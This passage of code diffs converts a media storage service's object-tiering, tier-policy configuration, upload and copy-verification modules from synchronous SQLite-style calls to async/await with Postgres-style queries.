(!obj.legacy_ref && !sandbox) await require('./popularity').record(obj, req);++ const locs = await model.listLocations(obj.id);const vodStorage = require('../vod/vod-storage');// A native object promoted to the R2 popularity cache (objects/tiering.js) plays from its verified R2 copy// while R2 is available, with the headers this route would send; the canonical copy is the fallback.@@@ -769,11 +780,11 @@ publicRouter.get('/:id', async (req, res) => {/** PUT /:id/multipart/:uploadId/parts/:n (raw body; mounted ahead of the JSON body parser). */async function putPart(req, res) {-- const obj = load(req, res, 'write');++ const obj = await load(req, res, 'write');if (!obj) { req.resume(); return; }if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }if (obj.lifecycle_status !== 'uploading') { req.resume(); return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`); }-- const session = loadSession(req, res, obj);++ const session = await loadSession(req, res, obj);if (!session) { req.resume(); return; }const n = Number(req.params.n);if (!Number.isInteger(n) || n < 1 || n > session.parts_expected) {@@@ -62,17 +62,32 @@ function validate(v) {}let store = null;++let explicit = new Set(); // keys the active revision sets explicitly (read on activation: snapshots are async)--/** The store (created on first use, once the database is open). */--function get() {++async function keysOf(revision) {++ const snap = store && revision != null ? await store.snapshot(revision) : null;++ return new Set(Object.keys((snap && snap.values) || {}));++}++++/** Create the store once the database is open (boot: server/index.js; tests). */++async function init() {if (store) return store;-- store = config.createConfigStore({++ const s = await config.createConfigStore({db: db.getDb(), service: 'media', namespace: 'media.object_tier',defaults: DEFAULTS, schema: SCHEMA, validate,// Revision 1 is empty: the defaults apply, and a key set later shows as a setting.legacy: () => ({}),++ onActivate: async (_values, _previous, { revision }) => { if (store) explicit = await keysOf(revision); },log: { info: (m) => console.log(`[ObjectTiers] ${m}`), warn: (m) => console.warn(`[ObjectTiers] ${m}`), error: (m) => console.error(`[ObjectTiers] ${m}`) },});++ store = s;++ explicit = await keysOf(s.revision());++ return store;++}++++/** The store init() created (get() on it reads memory). */++function get() {++ if (!store) throw new Error('media.object_tier is not loaded yet (tier-policy init() at boot)');return store;}@@@ -82,16 +97,14 @@ function settings() {}/** Change some keys: one validated revision merged over the active one → the new snapshot (throws ConfigError 422/409). */--function set(updates, { actor = null, reason = null } = {}) {-- return get().apply(updates, { merge: true, actor, reason });++async function set(updates, { actor = null, reason = null } = {}) {++ return await get().apply(updates, { merge: true, actor, reason });}/** Keys the active revision sets explicitly (anything else is its default). */function explicitKeys() {-- const s = get();-- if (s.revision() == null) return new Set();-- const snap = s.snapshot(s.revision());-- return new Set(Object.keys((snap && snap.values) || {}));++ get();++ return new Set(explicit);}/** Each key as { value, default, source: default | setting }. */@@@ -117,4 +130,4 @@ function describe(v = settings()) {};}--module.exports = { DEFAULTS, SCHEMA, validate, get, settings, set, explicitKeys, thresholds, describe, _reset: () => { store = null; } };++module.exports = { DEFAULTS, SCHEMA, validate, init, get, settings, set, explicitKeys, thresholds, describe, _reset: () => { store = null; explicit = new Set(); } };@@@ -120,12 +120,12 @@ function thresholdSnapshot(settings) {}/** What a decision saw: the object's popularity, size, lifecycle, copies, hold and the gate. */--function inputsOf(obj, { locs, pop, held, settings }) {++async function inputsOf(obj, { locs, pop, held, settings }) {const canon = canonicalLocation(obj, locs);const r2 = locs.find((l) => l.provider === 'r2');return {unique_viewers_7d: pop ? pop.unique_viewers : 0,-- last_viewed_day: pop ? pop.last_viewed_day : popularity.lastViewedDay(obj.id),++ last_viewed_day: pop ? pop.last_viewed_day : await popularity.lastViewedDay(obj.id),size_bytes: Number(obj.size_bytes) || 0,kind: obj.kind, visibility: obj.visibility, lifecycle_status: obj.lifecycle_status,content_hash: !!obj.content_hash,@@@ -139,12 +139,12 @@ function inputsOf(obj, { locs, pop, held, settings }) {}/** Log one decision. Never throws: the move already happened (or did not). → the row id, or null */--function recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error = null }) {++async function recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error = null }) {try {-- return db.run(`INSERT INTO media_object_tier_decisions (object_id, app_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,++ return (await db.run(`INSERT INTO media_object_tier_decisions (object_id, app_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[obj.id, obj.app_id || null, action, from || null, to || null, outcome, String(trigger || 'manual').slice(0, 40), String(reason || '').slice(0, 1000),-- JSON.stringify(inputs || {}), JSON.stringify(thresholdSnapshot(settings)), error == null ? null : String(error).slice(0, 500)]).lastInsertRowid;++ JSON.stringify(inputs || {}), JSON.stringify(thresholdSnapshot(settings)), error == null ? null : String(error).slice(0, 500)])).lastInsertRowid;} catch (err) {console.warn(`[ObjectTiers] decision for ${obj && obj.id} not logged: ${err.message}`);return null;@@@ -152,48 +152,48 @@ function recordDecision({ obj, action, from, to, outcome, trigger, reason, input}/** The sweep logged the same outcome for this object and action within the last day. */--function loggedToday(objectId, action, outcome) {-- return !!db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = ? AND trigger = 'sweep'-- AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') LIMIT 1`, [objectId, action, outcome]);++async function loggedToday(objectId, action, outcome) {++ return !!await db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = ? AND trigger = 'sweep'++ AND decided_at >= ov_now_iso('-1 day') LIMIT 1`, [objectId, action, outcome]);}/** A move of this object failed within the back-off window. */--function inBackoff(objectId, action) {-- return !!db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = 'failed'-- AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', ?) LIMIT 1`, [objectId, action, `-${FAILED_BACKOFF_H} hours`]);++async function inBackoff(objectId, action) {++ return !!await db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = 'failed'++ AND decided_at >= ov_now_iso(?) LIMIT 1`, [objectId, action, `-${FAILED_BACKOFF_H} hours`]);}/*** Shared frame of promote()/demote(): loads the object and its facts, and returns log(outcome, reason, extra)* which records the decision (the sweep's repeated refusals and dry runs once a day) and shapes the answer.*/--function frame(objectId, action, ctx) {++async function frame(objectId, action, ctx) {const settings = ctx.settings || policy.settings();-- const obj = model().getObject(String(objectId || ''));++ const obj = await model().getObject(String(objectId || ''));if (!obj) return { missing: true };-- const locs = model().listLocations(obj.id);-- const pop = ctx.pop !== undefined ? ctx.pop : (popularity.stats({ ids: [obj.id], now: ctx.now }).get(obj.id) || null);-- const held = model().isHeld(obj.id);-- const inputs = inputsOf(obj, { locs, pop, held, settings });++ const locs = await model().listLocations(obj.id);++ const pop = ctx.pop !== undefined ? ctx.pop : ((await popularity.stats({ ids: [obj.id], now: ctx.now })).get(obj.id) || null);++ const held = await model().isHeld(obj.id);++ const inputs = await inputsOf(obj, { locs, pop, held, settings });const canon = canonicalLocation(obj, locs);const trigger = ctx.trigger || 'manual';const why = ctx.reason || 'requested';const from = action === 'promote' ? (canon ? canon.provider : null) : 'r2';const to = action === 'promote' ? 'r2' : (canon ? canon.provider : null);-- const log = (outcome, reason, extra = {}) => {-- const repeat = trigger === 'sweep' && (outcome === 'refused' || outcome === 'dry_run') && loggedToday(obj.id, action, outcome);-- if (!repeat) recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error: extra.error });++ const log = async (outcome, reason, extra = {}) => {++ const repeat = trigger === 'sweep' && (outcome === 'refused' || outcome === 'dry_run') && await loggedToday(obj.id, action, outcome);++ if (!repeat) await recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error: extra.error });return { ok: outcome === 'done' || outcome === 'already', outcome, object_id: obj.id, repeat, ...extra };};return { obj, locs, canon, held, settings, why, log };}/** Why an object may not be promoted at all, from the record (no I/O), or null. */--function promoteRefusal(obj, { locs, held }) {++async function promoteRefusal(obj, { locs, held }) {if (held) return 'under a retention hold (a hold freezes placement)';if (obj.legacy_ref) return 'not a native object (projected objects tier with their VOD)';if (obj.lifecycle_status !== 'ready') return `the object is ${obj.lifecycle_status}`;-- if (db.isSandboxTenant(obj.app_id)) return 'developer sandbox objects are never tiered';++ if (await db.isSandboxTenant(obj.app_id)) return 'developer sandbox objects are never tiered';return canonicalUnverified(obj, locs);}@@@ -204,20 +204,20 @@ function promoteRefusal(obj, { locs, held }) {* → { ok, outcome: done | already | refused | failed | dry_run, error?, bytes? }*/async function promote(objectId, ctx = {}) {-- const f = frame(objectId, 'promote', ctx);++ const f = await frame(objectId, 'promote', ctx);if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };const { obj, locs, canon, held, settings, why, log } = f;-- if (held) return log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });++ if (held) return await log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });const r2Now = locs.find((l) => l.provider === 'r2');-- if (r2Now && r2Now.state === 'present' && r2Now.verified_at) return log('already', `${why}; the R2 copy is already present`);-- const refusal = promoteRefusal(obj, { locs, held });-- if (refusal) return log('refused', `${why}; refused: ${refusal}`, { error: refusal });++ if (r2Now && r2Now.state === 'present' && r2Now.verified_at) return await log('already', `${why}; the R2 copy is already present`);++ const refusal = await promoteRefusal(obj, { locs, held });++ if (refusal) return await log('refused', `${why}; refused: ${refusal}`, { error: refusal });const vs = vodStorage();-- if (!settings.active) return log('dry_run', `gate off (active = false): would promote: ${why}${vs.providerAvailable('r2') ? '' : ' (R2 is not available now)'}`);-- if (!vs.providerAvailable('r2')) return log('refused', `${why}; refused: R2 is not available`, { error: 'R2 not available' });++ if (!settings.active) return await log('dry_run', `gate off (active = false): would promote: ${why}${vs.providerAvailable('r2') ? '' : ' (R2 is not available now)'}`);++ if (!vs.providerAvailable('r2')) return await log('refused', `${why}; refused: R2 is not available`, { error: 'R2 not available' });const check = await confirmCanonical(obj, canon);-- if (!check.ok) return log('refused', `${why}; refused: ${check.why}`, { error: check.why });++ if (!check.ok) return await log('refused', `${why}; refused: ${check.why}`, { error: check.why });const key = r2KeyFor(obj, canon);const size = Number(obj.size_bytes);try {@@@ -229,26 +229,26 @@ async function promote(objectId, ctx = {}) {if (!read || read.sha256 !== obj.content_hash) throw new Error('the R2 copy read back does not match the sha256 on record');} catch (err) {await vs.deleteObject('r2', key).catch(() => {}); // never leave an unrecorded or unverified copy behind-- return log('failed', `${why}; the copy to R2 did not verify`, { error: err.message });++ return await log('failed', `${why}; the copy to R2 did not verify`, { error: err.message });}// A hold placed (or a delete made) while the bytes were copied wins: the new copy was never recorded, so// removing it moves nothing anyone could see.-- const now = model().getObject(obj.id);-- if (!now || model().isHeld(obj.id) || now.lifecycle_status !== 'ready') {++ const now = await model().getObject(obj.id);++ if (!now || await model().isHeld(obj.id) || now.lifecycle_status !== 'ready') {await vs.deleteObject('r2', key).catch(() => {});-- return log('refused', `${why}; refused: the object was ${!now ? 'removed' : now.lifecycle_status !== 'ready' ? now.lifecycle_status : 'put under a hold'} during the copy (the copy was removed)`,++ return await log('refused', `${why}; refused: the object was ${!now ? 'removed' : now.lifecycle_status !== 'ready' ? now.lifecycle_status : 'put under a hold'} during the copy (the copy was removed)`,{ error: 'changed during the copy' });}-- db.getDb().transaction(() => {++ await db.getDb().tx(async () => {// A fresh row: its created_at is when the object entered R2 (the demotion's "in R2 at least that long").-- db.run("DELETE FROM media_locations WHERE object_id = ? AND provider = 'r2'", [obj.id]);-- model().upsertLocation(obj.id, { provider: 'r2', bucket: vs.bucketFor('r2'), key, storage_class: 'cache', state: 'present',++ await db.run("DELETE FROM media_locations WHERE object_id = ? AND provider = 'r2'", [obj.id]);++ await model().upsertLocation(obj.id, { provider: 'r2', bucket: vs.bucketFor('r2'), key, storage_class: 'cache', state: 'present',checksum: obj.content_hash, size_bytes: size, verified: true });-- model().setLocationState(canon.id, { state: 'present', size_bytes: size });-- })();++ await model().setLocationState(canon.id, { state: 'present', size_bytes: size });++ });console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) promoted to R2: ${key} (${(size / MB).toFixed(1)} MB)`);-- return log('done', why, { bytes: size });++ return await log('done', why, { bytes: size });}/**@@@ -256,42 +256,42 @@ async function promote(objectId, ctx = {}) {* ctx as for promote(). → { ok, outcome, error? }*/async function demote(objectId, ctx = {}) {-- const f = frame(objectId, 'demote', ctx);++ const f = await frame(objectId, 'demote', ctx);if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };const { obj, locs, canon, held, settings, why, log } = f;-- if (held) return log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });++ if (held) return await log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });const r2 = locs.find((l) => l.provider === 'r2');-- if (!r2) return log('already', `${why}; there is no R2 copy`);++ if (!r2) return await log('already', `${why}; there is no R2 copy`);const vs = vodStorage();-- if (!settings.active) return log('dry_run', `gate off (active = false): would demote: ${why}`);-- if (!vs.providerConfigured('r2')) return log('refused', `${why}; refused: R2 is not configured`, { error: 'R2 not configured' });-- if (!canon || canon.provider === 'r2') return log('refused', `${why}; refused: no canonical copy besides R2 (the R2 copy is kept)`, { error: 'no canonical copy' });++ if (!settings.active) return await log('dry_run', `gate off (active = false): would demote: ${why}`);++ if (!vs.providerConfigured('r2')) return await log('refused', `${why}; refused: R2 is not configured`, { error: 'R2 not configured' });++ if (!canon || canon.provider === 'r2') return await log('refused', `${why}; refused: no canonical copy besides R2 (the R2 copy is kept)`, { error: 'no canonical copy' });// The last good copy is never the one removed: the canonical copy must check out now.const check = await confirmCanonical(obj, canon);-- if (!check.ok) return log('refused', `${why}; refused: ${check.why}; the R2 copy is kept (it may be the last good copy)`, { error: check.why });++ if (!check.ok) return await log('refused', `${why}; refused: ${check.why}; the R2 copy is kept (it may be the last good copy)`, { error: check.why });try {await vs.deleteObject('r2', r2.key);const still = await vs.headObject('r2', r2.key);if (still) throw new Error('the R2 copy is still there after the delete');} catch (err) {-- return log('failed', `${why}; the R2 copy could not be removed`, { error: err.message });++ return await log('failed', `${why}; the R2 copy could not be removed`, { error: err.message });}-- db.getDb().transaction(() => {-- db.run('DELETE FROM media_locations WHERE id = ?', [r2.id]);-- model().setLocationState(canon.id, { state: 'present', size_bytes: Number(obj.size_bytes) });-- })();++ await db.getDb().tx(async () => {++ await db.run('DELETE FROM media_locations WHERE id = ?', [r2.id]);++ await model().setLocationState(canon.id, { state: 'present', size_bytes: Number(obj.size_bytes) });++ });console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) demoted from R2 (${why})`);-- return log('done', why);++ return await log('done', why);}// ── Candidates ───────────────────────────────────────────────/** Ready native objects that pass the popularity, recency and size thresholds and have no R2 copy yet, most viewed first. */--function promotionCandidates(settings, { now = Date.now(), appId = null, limit = 200 } = {}) {++async function promotionCandidates(settings, { now = Date.now(), appId = null, limit = 200 } = {}) {const today = popularity.dayOf(now);-- return db.all(`SELECT o.*, p.viewers AS unique_viewers_7d, p.last_day AS last_viewed_day-- FROM (SELECT object_id, SUM(unique_viewers) AS viewers, MAX(day) AS last_day FROM media_object_views_daily++ return await db.all(`SELECT o.*, p.viewers AS unique_viewers_7d, p.last_day AS last_viewed_day++ FROM (SELECT object_id, SUM(unique_viewers)::bigint AS viewers, MAX(day) AS last_day FROM media_object_views_dailyWHERE day >= ? AND unique_viewers > 0 GROUP BY object_id) pJOIN media_objects o ON o.id = p.object_idWHERE o.legacy_ref IS NULL AND o.lifecycle_status = 'ready'@@@ -303,9 +303,9 @@ function promotionCandidates(settings, { now = Date.now(), appId = null, limit =}/** Native objects with an R2 copy that should lose it: not ready any more, or idle. → [{ obj row, reason }] */--function demotionCandidates(settings, { now = Date.now(), appId = null } = {}) {++async function demotionCandidates(settings, { now = Date.now(), appId = null } = {}) {const idleFrom = popularity.windowStart(popularity.dayOf(now), settings.demoteIdleDays);-- const rows = db.all(`SELECT o.*, l.created_at AS r2_since,++ const rows = await db.all(`SELECT o.*, l.created_at AS r2_since,(SELECT MAX(d.day) FROM media_object_views_daily d WHERE d.object_id = o.id AND d.unique_viewers > 0) AS last_viewed_dayFROM media_locations l JOIN media_objects o ON o.id = l.object_idWHERE l.provider = 'r2' AND o.legacy_ref IS NULL${appId ? ' AND o.app_id = ?' : ''}@@@ -329,11 +329,11 @@ function promoteReason(c, s) {}/** What the policy would promote now, each with what (on record) would refuse it; database only. */--function candidates({ appId = null, limit = 20, now = Date.now(), settings = policy.settings() } = {}) {-- return promotionCandidates(settings, { now, appId, limit: Math.min(Math.max(parseInt(limit, 10) || 20, 1), 200) }).map((c) => ({++async function candidates({ appId = null, limit = 20, now = Date.now(), settings = policy.settings() } = {}) {++ return (await Promise.all((await promotionCandidates(settings, { now, appId, limit: Math.min(Math.max(parseInt(limit, 10) || 20, 1), 200) })).map(async (c) => ({object_id: c.id, app_id: c.app_id, kind: c.kind, size_bytes: c.size_bytes, unique_viewers_7d: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day,-- blocked_by: promoteRefusal(c, { locs: model().listLocations(c.id), held: model().isHeld(c.id) }),-- }));++ blocked_by: await promoteRefusal(c, { locs: await model().listLocations(c.id), held: await model().isHeld(c.id) }),++ }))));}// ── The sweep ────────────────────────────────────────────────@@@ -357,27 +357,27 @@ async function runSweep({ trigger = 'sweep', now = Date.now() } = {}) {try {const settings = policy.settings();const out = { gate: !!settings.active, promoted: 0, demoted: 0, would_promote: 0, would_demote: 0, already: 0, refused: 0, failed: 0,-- repeats: 0, skipped_backoff: 0, candidates: { promote: 0, demote: 0 }, rotated: popularity.rotate({ now }), errors: [] };++ repeats: 0, skipped_backoff: 0, candidates: { promote: 0, demote: 0 }, rotated: await popularity.rotate({ now }), errors: [] };// Demotions first: they free the R2 cache, and a deleted object's copy should not wait behind promotions.-- const demote_ = demotionCandidates(settings, { now });++ const demote_ = await demotionCandidates(settings, { now });out.candidates.demote = demote_.length;let budget = settings.maxDemotionsPerSweep;for (const { row, reason } of demote_) {if (budget <= 0) break;-- if (inBackoff(row.id, 'demote')) { out.skipped_backoff++; continue; }++ if (await inBackoff(row.id, 'demote')) { out.skipped_backoff++; continue; }const r = await demote(row.id, { trigger, reason, settings, now });tally(out, { ...r, action: 'demote' });if (!r.repeat && ['done', 'failed', 'dry_run'].includes(r.outcome)) budget--;}-- const promote_ = promotionCandidates(settings, { now, limit: Math.max(50, settings.maxPromotionsPerSweep * 10) })-- .filter((c) => !db.isSandboxTenant(c.app_id));++ const promote_ = [];++ for (const c of await promotionCandidates(settings, { now, limit: Math.max(50, settings.maxPromotionsPerSweep * 10) })) if (!await db.isSandboxTenant(c.app_id)) promote_.push(c);out.candidates.promote = promote_.length;budget = settings.maxPromotionsPerSweep;for (const c of promote_) {if (budget <= 0) break;-- if (inBackoff(c.id, 'promote')) { out.skipped_backoff++; continue; }++ if (await inBackoff(c.id, 'promote')) { out.skipped_backoff++; continue; }const r = await promote(c.id, { trigger, reason: promoteReason(c, settings), settings, now,pop: { unique_viewers: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day } });tally(out, { ...r, action: 'promote' });@@@ -412,18 +412,18 @@ function decisionPublic(r) {}/** Decisions of the last 24 hours by action and outcome (appId narrows them). */--function counts24h(appId = null) {++async function counts24h(appId = null) {const empty = () => Object.fromEntries(OUTCOMES.map((o) => [o, 0]));const out = { promote: empty(), demote: empty() };-- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_object_tier_decisions-- WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day')${appId ? ' AND app_id = ?' : ''} GROUP BY action, outcome`, appId ? [appId] : [])) {++ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_object_tier_decisions++ WHERE decided_at >= ov_now_iso('-1 day')${appId ? ' AND app_id = ?' : ''} GROUP BY action, outcome`, appId ? [appId] : [])) {if (out[r.action]) out[r.action][r.outcome] = r.n;}return out;}/** A page of decisions, newest first: { decisions, next_before_id }. */--function listDecisions({ appId = null, objectId = null, action = null, outcome = null, beforeId = null, limit = 50 } = {}) {++async function listDecisions({ appId = null, objectId = null, action = null, outcome = null, beforeId = null, limit = 50 } = {}) {const conds = ['1 = 1'], params = [];if (appId) { conds.push('app_id = ?'); params.push(appId); }if (objectId) { conds.push('object_id = ?'); params.push(objectId); }@@@ -431,18 +431,19 @@ function listDecisions({ appId = null, objectId = null, action = null, outcome =if (outcome) { conds.push('outcome = ?'); params.push(outcome); }if (beforeId != null) { conds.push('id < ?'); params.push(Number(beforeId) || 0); }const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);-- const rows = db.all(`SELECT * FROM media_object_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, n + 1]);++ const rows = await db.all(`SELECT * FROM media_object_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, n + 1]);const page = rows.slice(0, n);return { decisions: page.map(decisionPublic), next_before_id: rows.length > n ? page[page.length - 1].id : null, limit: n };}/** The operator views' part (server/me/ops.js): database only, no provider or file. */--function report({ appId = null, limit = 20 } = {}) {++async function report({ appId = null, limit = 20 } = {}) {const settings = policy.settings();const s = appId ? { sql: ' AND o.app_id = ?', params: [appId] } : { sql: '', params: [] };-- const r2 = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0) AS b FROM media_locations l JOIN media_objects o ON o.id = l.object_id++ const r2 = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0)::bigint AS b FROM media_locations l JOIN media_objects o ON o.id = l.object_idWHERE l.provider = 'r2' AND o.legacy_ref IS NULL AND l.state = 'present'${s.sql}`, s.params);-- const eligible = promotionCandidates(settings, { appId, limit: 100000 }).filter((c) => !db.isSandboxTenant(c.app_id)).length;++ let eligible = 0;++ for (const c of await promotionCandidates(settings, { appId, limit: 100000 })) if (!await db.isSandboxTenant(c.app_id)) eligible++;const n = Math.min(Math.max(parseInt(limit, 10) || 20, 1), 50);const last = sweepState.lastResult;return {@@@ -450,8 +451,8 @@ function report({ appId = null, limit = 20 } = {}) {policy: Object.fromEntries(Object.keys(policy.DEFAULTS).filter((k) => k !== 'active').map((k) => [k, settings[k]])),r2_copies: { count: r2.n, bytes: r2.b },eligible_to_promote: eligible,-- decisions_24h: counts24h(appId),-- recent: listDecisions({ appId, limit: n }).decisions.map((d) => ({ id: d.id, decided_at: d.decided_at, app_id: d.app_id, object_id: d.object_id,++ decisions_24h: await counts24h(appId),++ recent: (await listDecisions({ appId, limit: n })).decisions.map((d) => ({ id: d.id, decided_at: d.decided_at, app_id: d.app_id, object_id: d.object_id,action: d.action, outcome: d.outcome, trigger: d.trigger, reason: String(d.reason || '').slice(0, 300), error: d.error ? String(d.error).slice(0, 300) : null })),sweep: {last_run_at: sweepState.lastRunAt ? new Date(sweepState.lastRunAt).toISOString() : null,@@@ -44,7 +44,7 @@ function sha256File(p) {/** Real provider HEAD: undefined when the provider is not configured here, null on 404. */async function defaultHead(provider, key) {-- return require('./reconcile').defaultHead(provider, key);++ return await require('./reconcile').defaultHead(provider, key);}/** Real re-upload through the storage engine (it HEADs afterwards and throws on a size mismatch). */@@@ -54,12 +54,12 @@ async function defaultUpload(provider, key, filePath, contentType, loc) {if (loc && loc.bucket && vs.bucketFor(provider) && loc.bucket !== vs.bucketFor(provider)) {throw new Error(`location is in bucket ${loc.bucket}, the configured ${provider} bucket is ${vs.bucketFor(provider)}`);}-- return vs.uploadFile(provider, key, filePath, contentType || 'application/octet-stream');++ return await vs.uploadFile(provider, key, filePath, contentType || 'application/octet-stream');}/** Write a verdict only if the location still points where it did when we looked (a tier move may have re-projected it). */--function writeState(loc, state, size) {-- db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP++async function writeState(loc, state, size) {++ await db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ov_now(), updated_at = ov_now()WHERE id = ? AND key = ?`, [state, size ?? null, loc.id, loc.key]);}@@@ -70,7 +70,7 @@ function writeState(loc, state, size) {async function verifyObject(obj, opts) {const { head, upload, hashMaxBytes, repairCorrupt, budget } = opts;const expected = Number(obj.size_bytes) || 0;-- const locs = db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);++ const locs = await db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);const results = [];let goodLocal = null;@@@ -80,7 +80,7 @@ async function verifyObject(obj, opts) {if (loc.provider === 'local') {let st = null;try { const s = fs.statSync(loc.key); if (s.isFile()) st = s; } catch { /* missing */ }-- if (!st) { r.state = 'missing'; writeState(loc, 'missing', null); continue; }++ if (!st) { r.state = 'missing'; await writeState(loc, 'missing', null); continue; }r.size_bytes = st.size;// Same rule as reconcile: a local size that differs from the recorded size is reported, not// condemned (recordings and remuxes change it) — but such a file is never used as a re-upload source.@@@ -96,7 +96,7 @@ async function verifyObject(obj, opts) {}}r.state = state;-- writeState(loc, state, st.size);++ await writeState(loc, state, st.size);if (state === 'present' && sizeOk && hashOk !== false) goodLocal = loc;continue;}@@@ -105,12 +105,12 @@ async function verifyObject(obj, opts) {try { h = await head(loc.provider, loc.key, loc.bucket); }catch (err) { r.state = loc.state; r.note = `unverifiable: ${err.message}`; r.unverifiable = true; continue; }if (h === undefined) { r.state = loc.state; r.note = 'unverifiable: provider not configured'; r.unverifiable = true; continue; }-- if (!h) { r.state = 'missing'; writeState(loc, 'missing', null); continue; }++ if (!h) { r.state = 'missing'; await writeState(loc, 'missing', null); continue; }r.size_bytes = Number(h.size);const state = expected && Number(h.size) !== expected ? 'corrupt' : 'present';if (state === 'corrupt') r.note = `size ${h.size} ≠ expected ${expected}`;r.state = state;-- writeState(loc, state, Number(h.size));++ await writeState(loc, state, Number(h.size));}// Restore missing (and, when allowed, corrupt) remote copies from a verified-good local copy.@@@ -127,7 +127,7 @@ async function verifyObject(obj, opts) {const out = await upload(loc.provider, loc.key, goodLocal.key, obj.mime_type, loc);if (out === undefined) { reuploads.push({ provider: loc.provider, key: loc.key, ok: false, error: 'provider not configured' }); continue; }const size = Number(out && out.size) || fs.statSync(goodLocal.key).size;-- writeState(loc, 'present', size);++ await writeState(loc, 'present', size);r.state = 'present'; r.size_bytes = size; r.note = `re-uploaded from ${goodLocal.key}`;reuploads.push({ provider: loc.provider, key: loc.key, ok: true, size_bytes: size, from: goodLocal.key });} catch (err) {@@@ -151,9 +151,9 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, uploadreuploaded: 0, reupload_failed: 0, no_good_copy_total: null, error: null, objects: [] };let runId = null;try {-- runId = db.run('INSERT INTO media_verify_runs (started_at) VALUES (?)', [summary.started_at]).lastInsertRowid;++ runId = (await db.run('INSERT INTO media_verify_runs (started_at) VALUES (?) RETURNING id', [summary.started_at])).lastInsertRowid;const n = Math.max(1, Number(batch) || 1);-- const objects = db.all(`SELECT o.* FROM media_objects o LEFT JOIN media_verifications v ON v.object_id = o.id++ const objects = await db.all(`SELECT o.* FROM media_objects o LEFT JOIN media_verifications v ON v.object_id = o.idWHERE o.lifecycle_status = 'ready'ORDER BY (v.verified_at IS NOT NULL), v.verified_at, o.id LIMIT ?`, [n]);const budget = { left: Math.max(0, Number(maxReuploads) || 0) };@@@ -165,7 +165,7 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, uploadsummary.locations_checked += res.locations.length;summary[res.status]++;for (const u of res.reuploads) { if (u.ok) summary.reuploaded++; else if (!/^deferred/.test(u.error || '')) summary.reupload_failed++; }-- db.run(`INSERT INTO media_verifications (object_id, verified_at, status, good_providers, detail, run_id) VALUES (?, ?, ?, ?, ?, ?)++ await db.run(`INSERT INTO media_verifications (object_id, verified_at, status, good_providers, detail, run_id) VALUES (?, ?, ?, ?, ?, ?)ON CONFLICT(object_id) DO UPDATE SET verified_at = excluded.verified_at, status = excluded.status,good_providers = excluded.good_providers, detail = excluded.detail, run_id = excluded.run_id`,[obj.id, nowIso(), res.status, res.good_providers.join(',') || null,@@@ -182,10 +182,10 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, uploadconsole.warn('[Verify] run failed:', err.message);} finally {summary.finished_at = nowIso();-- try { summary.no_good_copy_total = copyReport.countNoGoodCopy(db); } catch { /* */ }++ try { summary.no_good_copy_total = await copyReport.countNoGoodCopy(db); } catch { /* */ }if (runId != null) {try {-- db.run(`UPDATE media_verify_runs SET finished_at = ?, objects_checked = ?, locations_checked = ?, good = ?, no_good_copy = ?, unverifiable = ?,++ await db.run(`UPDATE media_verify_runs SET finished_at = ?, objects_checked = ?, locations_checked = ?, good = ?, no_good_copy = ?, unverifiable = ?,reuploaded = ?, reupload_failed = ?, no_good_copy_total = ?, error = ? WHERE id = ?`,[summary.finished_at, summary.objects_checked, summary.locations_checked, summary.good, summary.no_good_copy, summary.unverifiable,summary.reuploaded, summary.reupload_failed, summary.no_good_copy_total, summary.error, runId]);@@@ -203,13 +203,13 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload}/** Last finished run and the current no-good-copy count (readiness detail, operators). */--function status() {-- const last = db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');++async function status() {++ const last = await db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');return {enabled: !!config.verify.enabled,running: 